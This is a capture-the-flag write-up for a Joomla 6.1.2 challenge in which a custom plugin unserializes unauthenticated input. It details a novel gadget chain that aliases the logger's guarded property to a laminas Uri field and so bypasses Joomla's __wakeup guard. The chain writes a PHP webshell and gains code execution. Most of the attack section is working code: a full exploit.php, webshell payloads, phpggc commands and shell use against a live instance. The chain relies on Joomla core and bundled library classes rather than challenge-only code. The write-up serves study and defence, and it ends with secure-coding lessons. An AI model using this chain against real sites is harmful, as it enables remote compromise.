Note: this challenge was solved after the CTF had ended, and the flag was never submitted. It is documented here for the technique, not as a scored solve.
A Joomla 6.1.2 site with a custom system plugin that calls unserialize() on
unauthenticated user input. The standard Joomla file-write gadget is blocked by a
__wakeup() guard added in Joomla 5.2.2, and PHP 8.4 closes the usual
fast-destruct escape. The solution reopens that gadget by aliasing the guarded property
to a value that a second gadget mutates after __wakeup() has run.
$ ls -la
-rw-r--r--@ 1 feyrer staff 1640441 Jul 30 21:30 a24d97c4-7cfb-47d1-9838-ed4378ac3ac0-1784541424.zip
$ file a24d97c4-7cfb-47d1-9838-ed4378ac3ac0-1784541424.zip
a24d97c4-7cfb-47d1-9838-ed4378ac3ac0-1784541424.zip: Zip archive data, at least v1.0
to extract, compression method=store
$ unzip -l a24d97c4-7cfb-47d1-9838-ed4378ac3ac0-1784541424.zip
Length Date Time Name
--------- ---------- ----- ----
0 07-14-2026 04:58 challenge/
128 07-14-2026 04:05 challenge/readflag.c
0 07-14-2026 03:49 challenge/config/
610 07-14-2026 03:49 challenge/config/supervisord.conf
1481 07-14-2026 04:59 challenge/Dockerfile
26 07-14-2026 04:56 challenge/flag.txt
0 07-14-2026 03:49 challenge/plugin/
610 07-14-2026 03:49 challenge/plugin/gatehouse.xml
0 07-14-2026 03:49 challenge/plugin/services/
917 07-14-2026 03:49 challenge/plugin/services/provider.php
0 07-14-2026 03:49 challenge/plugin/media/
0 07-14-2026 04:50 challenge/plugin/media/images/
370298 07-14-2026 04:49 challenge/plugin/media/images/ward-map-eastreach.webp
104386 07-14-2026 04:49 challenge/plugin/media/images/parchment-blank.webp
113956 07-14-2026 04:49 challenge/plugin/media/images/cta-kitchens.webp
72483 07-14-2026 04:50 challenge/plugin/media/images/eastreach-mark.png
60441 07-14-2026 04:50 challenge/plugin/media/images/cargo-oil.png
53081 07-14-2026 04:50 challenge/plugin/media/images/cargo-coal.png
107198 07-14-2026 04:49 challenge/plugin/media/images/cta-carriers.webp
130968 07-14-2026 04:49 challenge/plugin/media/images/cta-bridge.webp
72649 07-14-2026 04:50 challenge/plugin/media/images/cargo-brine.png
52411 07-14-2026 04:50 challenge/plugin/media/images/cargo-blankets.png
125928 07-14-2026 04:49 challenge/plugin/media/images/cta-unloading.webp
54561 07-14-2026 04:50 challenge/plugin/media/images/cargo-medicine.png
70360 07-14-2026 04:50 challenge/plugin/media/images/cargo-grain.png
115322 07-14-2026 04:49 challenge/plugin/media/images/relief-yard.webp
113118 07-14-2026 04:49 challenge/plugin/media/images/cta-handoff.webp
4009 07-14-2026 03:49 challenge/plugin/media/gatehouse.js
18624 07-14-2026 04:51 challenge/plugin/media/gatehouse.css
0 07-14-2026 03:49 challenge/plugin/src/
0 07-14-2026 03:49 challenge/plugin/src/Extension/
2956 07-14-2026 03:49 challenge/plugin/src/Extension/Gatehouse.php
0 07-14-2026 03:49 challenge/plugin/src/Workflow/
7639 07-14-2026 03:49 challenge/plugin/src/Workflow/GatehouseRepository.php
19852 07-14-2026 04:50 challenge/plugin/src/Workflow/GatehouseRenderer.php
0 07-14-2026 03:49 challenge/scripts/
3405 07-14-2026 03:49 challenge/scripts/entrypoint.sh
62 07-14-2026 03:49 challenge/docker-compose.yml
--------- -------
1677479 38 files
Almost all of the volume is artwork. The actual source is three PHP files under
plugin/src/ plus the build scripts. Joomla itself is not in the archive -
the Dockerfile fetches it at build time.
Three files define the goal. From the Dockerfile:
FROM php:8.4-apache
...
RUN gcc /tmp/readflag.c -o /readflag && \
chown root:root /readflag && chmod 4755 /readflag && \
chown root:root /root/flag.txt && chmod 600 /root/flag.txt && chmod 700 /root
...
RUN curl -fsSL "https://downloads.joomla.org/cms/joomla6/6-1-2/Joomla_6-1-2-Stable-Full_Package.zip?format=zip" ...
readflag.c in full:
#include <stdlib.h>
#include <unistd.h>
int main(void) {
setuid(0);
system("/bin/cat /root/flag.txt");
return 0;
}
And from entrypoint.sh:
ADMIN_PASS="$(tr -dc 'A-Za-z0-9' < /dev/urandom | head -c 32)"
So: the flag is root-only, but /readflag is SUID root and prints it for
anybody. The admin password is 32 random characters per container start, so attacking
the Joomla backend login is pointless. The goal reduces to command execution as
www-data.
$ cd challenge && docker compose up -d
Network challenge_default Created
Container challenge-target-1 Started
$ curl -sI http://localhost:1337/
HTTP/1.1 200 OK
Date: Fri, 31 Jul 2026 13:57:33 GMT
Server: Apache/2.4.68 (Debian)
X-Powered-By: PHP/8.4.23
Set-Cookie: 714d9ebc20e77ecd0223d70ecfc51506=fdbdd842979b2cbcb18e046faa6a0c40; path=/; HttpOnly
Content-Type: text/html; charset=UTF-8
The site is a public supply-status board:
$ curl -s http://localhost:1337/ | sed -e 's/<[^>]*>//g' | grep -v '^\s*$' | head -6
Eastreach Provision Office
Eastreach Provision Office
Ward supply updates
Together, the wards stand ... Every carrier has a route ... Goods move before nightfall
Ward map High Keep Market Ring Lower Ward Rivergate ...
Months listed 9 Packages received 19890
There is a second screen, and that one is gated:
$ curl -s 'http://localhost:1337/?provision=dispatch' | sed -e 's/<[^>]*>//g' | grep -v '^\s*$'
Eastreach Provision Office Staff sign-in required Dispatch desk is guarded Sign in Public page
Anonymously we get a read-only board; the "dispatch" function sits behind a login we
cannot pass. Note X-Powered-By: PHP/8.4.23 - it will decide which
deserialization tricks still work.
Only three PHP files are custom code, so grep for the usual suspects first.
$ grep -rn 'unserialize' challenge/plugin/src/
challenge/plugin/src/Workflow/GatehouseRepository.php:63: $data = @unserialize($ledger);
public function importMonthlyLedger(string $ledger): array
{
if (trim($ledger) === '') { ... }
$data = @unserialize($ledger); // <-- object injection
if (!is_array($data)) { ... }
return $this->importMonthlyRecords($data);
}
Conclusion: Object injection, if the method is reachable. Next: find the caller and check whether it needs a login.
Gatehouse.php is a system plugin, so it hooks Joomla lifecycle events.
Which event reaches the sink, and does it authenticate?
public function onAfterRoute(AfterRouteEvent $event): void
{
$app = $event->getApplication();
if (!$this->isAdminImportContext($app)) {
return;
}
$ledger = $app->getInput()->getRaw('ledger', '');
if (!is_string($ledger) || trim($ledger) === '') {
return;
}
(new GatehouseRepository())->importMonthlyLedger($ledger);
}
isAdminImportContext() checks exactly three things, all of them
attacker-supplied request parameters:
$app->isClient('administrator') - true for any /administrator/ URLoption=com_provision&view=dispatchtask=ledger.import
No session or ACL check anywhere - and onAfterRoute fires before the
Joomla administrator application runs its own authentication. Probing with harmless data:
$ curl -X POST 'http://localhost:1337/administrator/index.php?option=com_provision&view=dispatch&task=ledger.import' \
--data-urlencode 'ledger=a:1:{i:0;a:2:{s:5:"month";s:9:"TestMonth";s:8:"packages";i:9999;}}'
$ curl -s http://localhost:1337/ | grep -o 'TestMonth'
TestMonth
Conclusion: Unauthenticated object injection confirmed - our data was deserialized and rendered. Next: find a gadget chain that turns it into code execution.
Before hunting gadgets, check what the code does with the deserialized array - sometimes the processing itself is a trigger.
// normalizeMonthlyGoods()
$label = $this->clean((string) ($entry['month'] ?? $entry['label'] ?? ''));
Conclusion: An object in $entry['month'] gets its
__toString() called at a point we control. Park this - it becomes the key
later.
phpggc is the fastest thing to try before writing anything by hand.
$ php phpggc/phpggc --list | grep -i joomla
Joomla/FW1 3.9.0 <= 5.2.1 File write __destruct *
It abuses the Joomla core class FormattedtextLogger and its
__destruct(), with both
$path and $format attacker-controlled:
public function __destruct()
{
if (!$this->defer || empty($this->deferredEntries)) {
return;
}
$this->initFile();
$lines = array_map([$this, 'formatLine'], $this->deferredEntries);
File::write($this->path, implode("\n", $lines) . "\n", false, true);
}
$ echo '<?php system($_GET["c"]); ?>' > /tmp/shell.php
$ php phpggc/phpggc Joomla/FW1 /var/www/html/tmp/pg.php /tmp/shell.php > fw1.txt
$ curl -o /dev/null -w 'import: HTTP %{http_code}\n' -X POST \
'http://localhost:1337/administrator/index.php?option=com_provision&view=dispatch&task=ledger.import' \
--data-urlencode 'ledger@fw1.txt'
import: HTTP 500
$ curl -o /dev/null -w 'shell: HTTP %{http_code}\n' 'http://localhost:1337/tmp/pg.php'
shell: HTTP 404
The version range in the listing explains it - Joomla 5.2.2 added a guard:
public function __wakeup()
{
if ($this->defer && !empty($this->deferredEntries)) {
throw new \RuntimeException('Can not unserialize in defer mode');
}
}
Conclusion: The guard condition is logically identical to the destructor
condition, so there is no type-confusion gap to exploit. Next: try fast-destruct, the
classic answer to a throwing __wakeup().
A duplicate array key makes PHP free the object mid-deserialization, so
__destruct() may run before the exception matters. phpggc does this with
-f.
$ php phpggc/phpggc -f Joomla/FW1 /var/www/html/tmp/pgf.php /tmp/shell.php > fw1f.txt
$ curl -o /dev/null -w 'import: HTTP %{http_code}\n' -X POST \
'http://localhost:1337/administrator/index.php?option=com_provision&view=dispatch&task=ledger.import' \
--data-urlencode 'ledger@fw1f.txt'
import: HTTP 500
$ curl -o /dev/null -w 'shell: HTTP %{http_code}\n' 'http://localhost:1337/tmp/pgf.php'
shell: HTTP 404
Reduced to a minimal test inside the container to see what PHP 8.4 actually does:
class G {
public $x = true;
public function __wakeup() { if ($this->x) throw new RuntimeException("guard"); }
public function __destruct() { echo " -> __destruct() RAN\n"; }
}
$s = "O:1:\"G\":1:{s:1:\"x\";b:1;}";
try { unserialize($s); } catch (Throwable $e) { echo " __wakeup threw: " . $e->getMessage() . "\n"; }
try { unserialize("a:2:{i:7;" . $s . "i:7;i:1;}"); } catch (Throwable $e) { echo " __wakeup threw: " . $e->getMessage() . "\n"; }
$ docker compose exec target php /tmp/wt.php
PHP 8.4.23
plain unserialize:
__wakeup threw: guard
fast-destruct (duplicate array key):
__wakeup threw: guard
(no "__destruct() RAN" line above = destructor never fired)
Conclusion: In PHP 8.4 an object whose __wakeup() throws never has
its __destruct() called. This gadget is dead as published. Next: look for
a different gadget.
Rather than guessing, reflect over every class the Joomla autoloader knows and keep those with
__destruct/__toString/__invoke but no
__wakeup/__unserialize guard.
$ docker compose exec target php /tmp/scan.php # reflection over autoload_classmap.php
3489 classes in classmap
| Candidate | Outcome |
|---|---|
FormattedtextLogger | __wakeup guard, throws |
GuzzleHttp\Psr7\FnStream | __wakeup guard, throws |
Symfony\...\BufferingLogger | __unserialize guard, throws |
Symfony\...\Internal\Canary | typed Closure property, not deserializable |
PHPMailer, FtpClient, Image,
DatabaseDriver, PdoDriver, SqliteDriver,
DatabaseIterator, SyslogLogger,
joomla/filesystem Stream, the Symfony HTTP-client responses, ldap
Query/Connection
| __destruct only does resource cleanup (close handle, disconnect, free GD resource) - no useful side effect |
The other published chains need packages Joomla does not ship:
Guzzle/FW1 needs GuzzleHttp\Cookie\FileCookieJar - only
guzzle psr7 and promises are installed, not the HTTP client.Monolog/* - monolog not installed.Symfony/RCE10, RCE11 need symfony/finder and
symfony/browser-kit - neither is a Joomla dependency.Laminas/FW1 needs laminas-cache - only laminas-diactoros is present.Conclusion: No off-the-shelf chain works, and the Joomla logger file write stays the only useful primitive. The Joomla 5.2.2 guard has to be defeated head-on.
The guard and the destructor check the same condition, but at different times:
__wakeup() during unserialize(), __destruct() when
the object is freed. And step 3.3 gives us a __toString() that fires in
between. Since serialization supports references (R:), two properties can
share one zval - so the search target is a class whose __toString() writes
a truthy value into one of its own properties. Searching Joomla's library tree
(/var/www/html/libraries, i.e. Joomla core plus its composer vendor tree):
$ docker compose exec target bash -c 'cd /var/www/html/libraries && \
for f in $(grep -rl "__toString" vendor/ src/ | grep "\.php$"); do \
awk "/function __toString/,/^ \}/" "$f" | grep -q "\$this->[a-zA-Z_]* *=" && echo "$f"; \
done'
vendor/laminas/laminas-diactoros/src/Uri.php
vendor/joomla/database/src/DatabaseQuery.php
vendor/joomla/database/src/Query/PostgresqlQueryBuilder.php
vendor/joomla/database/src/Query/MysqlQueryBuilder.php
vendor/joomla/database/src/Sqlsrv/SqlsrvQuery.php
vendor/joomla/database/src/Sqlite/SqliteQuery.php
vendor/symfony/console/Completion/CompletionInput.php
vendor/symfony/string/LazyString.php
vendor/brick/math/src/BigDecimal.php
The first hit is exactly right - Laminas\Diactoros\Uri memoizes its result:
private ?string $uriString = null;
public function __toString(): string
{
if (null !== $this->uriString) {
return $this->uriString;
}
$this->uriString = static::createUriString(
$this->scheme, $this->getAuthority(), $this->path, $this->query, $this->fragment
);
return $this->uriString;
}
null (falsy) before the first cast, non-empty string (truthy) after. The
receiving side fits too: Joomla's FormattedtextLogger::$defer is declared
protected $defer = false; - untyped, so the shared slot may change from
null to string without a reference type error.
Serializing the Uri first makes $defer an R:
reference to the still-null slot:
a:2:{
i:0; a:2:{ s:5:"month"; O:21:"Laminas\Diactoros\Uri":8:{ ... uriString => N ... }
s:8:"packages"; i:1; }
i:1; O:41:"Joomla\CMS\Log\Logger\FormattedtextLogger":7:{ ... defer => R:11 ... }
}
Conclusion: Guard bypassed, file write works. Next: make the written file actually execute.
The file lands under the webroot, but requesting it does not run our code.
$ curl 'http://localhost:1337/tmp/sh.php?c=id'
#
#Forbidden.
$ docker compose exec target cat /var/www/html/tmp/sh.php
#
#<?php die('Forbidden.'); ?>
#Date: 2026-07-31 13:25:35 UTC
#Software: Joomla! 6.1.2 Stable [ Nyota ] 7-July-2026 16:00 UTC
#Fields: <?php system($_get["c"]); ?>
<?php system($_GET["c"]); ?>
The Joomla logger's __destruct() calls initFile(), which
prepends a header:
if (empty($this->options['text_file_no_php'])) {
$head[] = '#';
$head[] = '#<?php die(\'Forbidden.\'); ?>';
}
Conclusion: The condition reads an attacker-controlled property - set
options['text_file_no_php'] = true in the serialized logger.
With the Joomla die() header gone PHP does execute - and crashes.
$ curl 'http://localhost:1337/tmp/sh2.php?c=id'
#Date: 2026-07-31 13:26:18 UTC
#Software: Joomla! 6.1.2 Stable [ Nyota ] 7-July-2026 16:00 UTC
#Fields:
Warning: Undefined variable $_get in /var/www/html/tmp/sh2.php on line 4
Warning: Trying to access array offset on null in /var/www/html/tmp/sh2.php on line 4
Deprecated: system(): Passing null to parameter #1 ($command) of type string is deprecated
Fatal error: Uncaught ValueError: system(): Argument #1 ($command) must not be empty in
/var/www/html/tmp/sh2.php:4
The Joomla log header has one more line, and this one cannot be switched off:
$head[] = '#Fields: ' . strtolower(str_replace('}', '', str_replace('{', '', $this->format)));
A lowercased, brace-stripped copy of the payload lands above the intact one.
$_GET becomes $_get, and PHP 8 raises an uncaught
ValueError from system('') - fatal, so the good copy never runs.
Wrapping the payload in isset() makes the broken copy a no-op:
<?php if(isset($_GET["c"]))system($_GET["c"]); ?>
$ curl 'http://localhost:1337/tmp/sh3.php?c=id'
#Date: 2026-07-31 13:26:43 UTC
#Software: Joomla! 6.1.2 Stable [ Nyota ] 7-July-2026 16:00 UTC
#Fields: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Conclusion: RCE as www-data. The payload must also avoid
{ and }, since braces are stripped from the header copy.
exploit.php. The stub classes carry the same namespaces and property
visibilities as the real Joomla and laminas-diactoros classes, so
serialize() emits the correct
\0*\0 (protected) and \0Class\0 (private) name mangling. The
ref() method exists only to hand out a reference to the private
$uriString. Only PHP core functions are used - no curl_*,
since php-curl is not installed everywhere.
<?php
/*
* HTB Salt Crown 2026 - Web "Provisioneds"
*
* Usage: php exploit.php http://HOST:PORT [command]
*/
namespace Laminas\Diactoros {
class Uri
{
private $scheme = '';
private $userInfo = '';
private $host = '';
private $port = null;
private $path = '';
private $query = '';
private $fragment = '';
private $uriString = null;
public function __construct($path)
{
$this->path = $path;
}
public function &ref()
{
return $this->uriString;
}
}
}
namespace Joomla\CMS\Log {
class LogEntry
{
public $message = 'x';
public $priority = 1;
public $date = '2026-01-01';
public $time = '00:00:00';
public $datetime = '2026-01-01T00:00:00+00:00';
public $category = 'x';
public $clientIP = '127.0.0.1';
}
}
namespace Joomla\CMS\Log\Logger {
class FormattedtextLogger
{
protected $options = ['text_file_no_php' => true];
protected $priorities = [1 => 'X'];
protected $format;
protected $fields = [];
protected $path;
protected $defer;
protected $deferredEntries = [];
public function __construct($path, $payload, &$deferRef)
{
$this->path = $path;
$this->format = $payload;
$this->defer = &$deferRef;
$this->deferredEntries = [new \Joomla\CMS\Log\LogEntry()];
}
}
}
namespace {
$base = rtrim($argv[1] ?? '', '/');
$cmd = $argv[2] ?? '/readflag';
if ($base === '') {
fwrite(STDERR, "usage: php exploit.php http://HOST:PORT [command]\n");
exit(1);
}
$shell = 'sh' . substr(md5(random_bytes(8)), 0, 8) . '.php';
$target = '/var/www/html/tmp/' . $shell;
$payload = '<?php if(isset($_GET["c"]))system($_GET["c"]); ?>';
$uri = new \Laminas\Diactoros\Uri('trigger');
$ref = &$uri->ref();
$logger = new \Joomla\CMS\Log\Logger\FormattedtextLogger($target, $payload, $ref);
// The Uri must come first so $defer becomes an R: reference to $uriString.
$ledger = serialize([
['month' => $uri, 'packages' => 1],
$logger,
]);
$status = static function (array $headers): int {
return isset($headers[0]) && preg_match('#^HTTP/[\d.]+ (\d{3})#', $headers[0], $m)
? (int) $m[1]
: 0;
};
$url = $base . '/administrator/index.php?option=com_provision&view=dispatch&task=ledger.import';
$body = http_build_query(['ledger' => $ledger]);
$ctx = stream_context_create(['http' => [
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n"
. 'Content-Length: ' . strlen($body) . "\r\n",
'content' => $body,
'timeout' => 30,
'ignore_errors' => true,
]]);
@file_get_contents($url, false, $ctx);
$code = $status($http_response_header ?? []);
if ($code !== 200) {
fwrite(STDERR, "ledger import returned HTTP $code\n");
exit(1);
}
echo "[+] webshell dropped: /tmp/$shell\n";
$ctx = stream_context_create(['http' => ['timeout' => 30, 'ignore_errors' => true]]);
$out = @file_get_contents($base . '/tmp/' . $shell . '?c=' . urlencode($cmd), false, $ctx);
$code = $status($http_response_header ?? []);
if ($code !== 200) {
fwrite(STDERR, "webshell returned HTTP $code\n");
exit(1);
}
// Strip the log file header generateFileHeader() prepended.
$out = preg_replace('/^#Date:.*\n#Software:.*\n\n#Fields: /', '', $out);
echo $out;
}
Against the local container first, to confirm the chain end to end:
$ docker compose exec target php /tmp/exploit.php http://localhost /readflag
[+] webshell dropped: /tmp/she78db032.php
HTB{f4k3_fl4g_f0r_t3st1ng}
That is the placeholder flag.txt from the archive, so the chain works.
Now the live instance:
$ php exploit.php http://154.57.164.69:32381 /readflag
[+] webshell dropped: /tmp/sh8593d418.php
HTB{j00mla_g4dg3t_ch41n_4r3_fun_r1ght?_d93b039acdeba083e83944f0014afc58}
The dropped shell stays usable for anything else - the command goes in the
c parameter, and the first three lines of the response are the log header:
$ curl -s 'http://154.57.164.69:32381/tmp/sh8593d418.php?c=id'
#Date: 2026-07-31 14:00:51 UTC
#Software: Joomla! 6.1.2 Stable [ Nyota ] 7-July-2026 16:00 UTC
#Fields: uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ curl -s -G 'http://154.57.164.69:32381/tmp/sh8593d418.php' --data-urlencode 'c=ls -la /' # for commands with spaces
HTB{j00mla_g4dg3t_ch41n_4r3_fun_r1ght?_d93b039acdeba083e83944f0014afc58}
| # | Stage | Mechanism |
|---|---|---|
| 1 | Auth bypass | onAfterRoute fires before Joomla's administrator authentication, and
isAdminImportContext() only inspects request parameters. An anonymous
POST reaches the Gatehouse plugin's import handler. |
| 2 | Object injection | @unserialize() on the raw ledger POST parameter. |
| 3 | Guard bypass | An R: reference aliases Joomla's
FormattedtextLogger::$defer onto laminas-diactoros'
Uri::$uriString. That slot is null during
__wakeup(), so the Joomla 5.2.2 guard sees a falsy value and does not
throw. |
| 4 | State flip | normalizeMonthlyGoods() casts $entry['month'] to string.
Uri::__toString() memoizes "trigger" into the shared slot,
so $defer is now truthy. |
| 5 | File write | importMonthlyLedger() returns, the Joomla logger's refcount hits zero, and
__destruct() writes $format to $path -
a PHP file under the webroot. |
| 6 | RCE | Requesting the dropped shell runs commands as www-data, which executes
the SUID root /readflag. |
The core of it is stages 3 and 4. The __wakeup() guard is not weak in
isolation - it checks exactly the right condition. It fails because it validates state
that another gadget is still allowed to modify afterwards: a check at
deserialization time cannot protect a check at destruction time when the value in
between is shared and mutable.
unserialize() on user input. json_decode()
would have made the Gatehouse plugin unexploitable regardless of what gadgets sit in
Joomla's dependency tree.__wakeup() guard is not a fix for an unserialize sink. It removes one
class from the gadget pool, and only for as long as nothing else in the process can
modify the state it validates.onAfterRoute - must do their own authorization check. Reading
option/view/task proves nothing about the caller.